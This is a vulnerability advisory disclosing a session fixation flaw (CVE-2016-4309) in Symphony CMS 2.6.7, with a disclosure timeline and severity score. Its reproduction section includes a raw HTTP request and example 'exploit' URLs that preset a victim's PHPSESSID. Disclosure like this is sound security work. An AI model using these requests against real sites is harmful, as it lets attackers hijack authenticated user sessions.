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Symphony CMS v2.6.7 Session Fixation



[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/SYMPHONY-CMS-SESSION-FIXATION.txt

[+] ISR: APPARITIONSEC


Vendor:
====================
www.getsymphony.com


Product:
==================
Symphony CMS v2.6.7 

Download:
http://www.getsymphony.com/download/


Symphony is a XSLT-powered open source content management system.



Vulnerability Type:
===================
Session Fixation


CVE Reference:
==============
CVE-2016-4309



Vulnerability Details:
=====================

Symphony CMS is prone to "Session Fixation" allowing attackers to preset a users PHPSESSID "Session Identifier".
If the application is deployed using an insecure setup with PHP.INI "session.use_only_cookies" not enabled, attackers can then send
victims a link to the vulnerable application with the "PHPSESSID" already initialized as Symphony does not use or call
"session_regenerate_id()" upon successful user authentication.

Note: as per php.net/manual/en/session.configuration.php "session.use_only_cookies=1" is default since PHP 4.3.0.

e.g. 

"http://localhost/symphony/?PHPSESSID=APPARITION666";.

As Symphonys Session ID is not regenerated it can result in arbitrary Session ID being 'Fixated' to a user, if that user authenticates using
this attacker supplied session fixated link, the attacker can now access the affected application from a different Computer/Browser
and have the same level of access to that of the victim. Default Cookie lifetime for Symphony CMS is up to two weeks.



Reproduction steps:
=====================

Edit PHP.INI and change following settings to 'session.use_only_cookies=0' if applicable, as POC test.


1) Telnet localhost 80

2) make HTTP request with a prefixed PHPSESSID

GET /symphony-2.6.7/symphony/?PHPSESSID=PWN3D666 HTTP/1.1
Host: localhost
Connection: close

3) Hit enter twice


HTTP/1.1 200 OK
Date: Mon, 16 May 2016 02:06:47 GMT
Server: Apache/2.4.12 (Win32) OpenSSL/1.0.1l PHP/5.6.8
X-Powered-By: PHP/5.6.8
Set-Cookie: PHPSESSID=PWNED666; expires=Mon, 30-May-2016 02:06:48 GMT; Max-Age=1209600; path=/symphony-2.6.7; httponly
Content-Length: 1501
Connection: close
Content-Type: text/html; charset=UTF-8



Exploit code(s):
===============

1) http://localhost/symphony-2.6.7/symphony/publish/articles/?PHPSESSID=hyp3rlinx

2) http://localhost/symphony-2.6.7/symphony/?PHPSESSID=APPARITION


Disclosure Timeline:
=====================================
Vendor Notification: May 3, 2016
Vendor Release Fix: May 23, 2016
June 20, 2016 : Public Disclosure.


Exploitation Method:
====================
Remote


Severity Level:
================
6.8 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N



Description:
==============================================
Request Method(s):       [+] GET / POST


Vulnerable Product:      [+] Symphony CMS 2.6.7


Vulnerable Parameter(s): [+] 'PHPSESSID'
===============================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx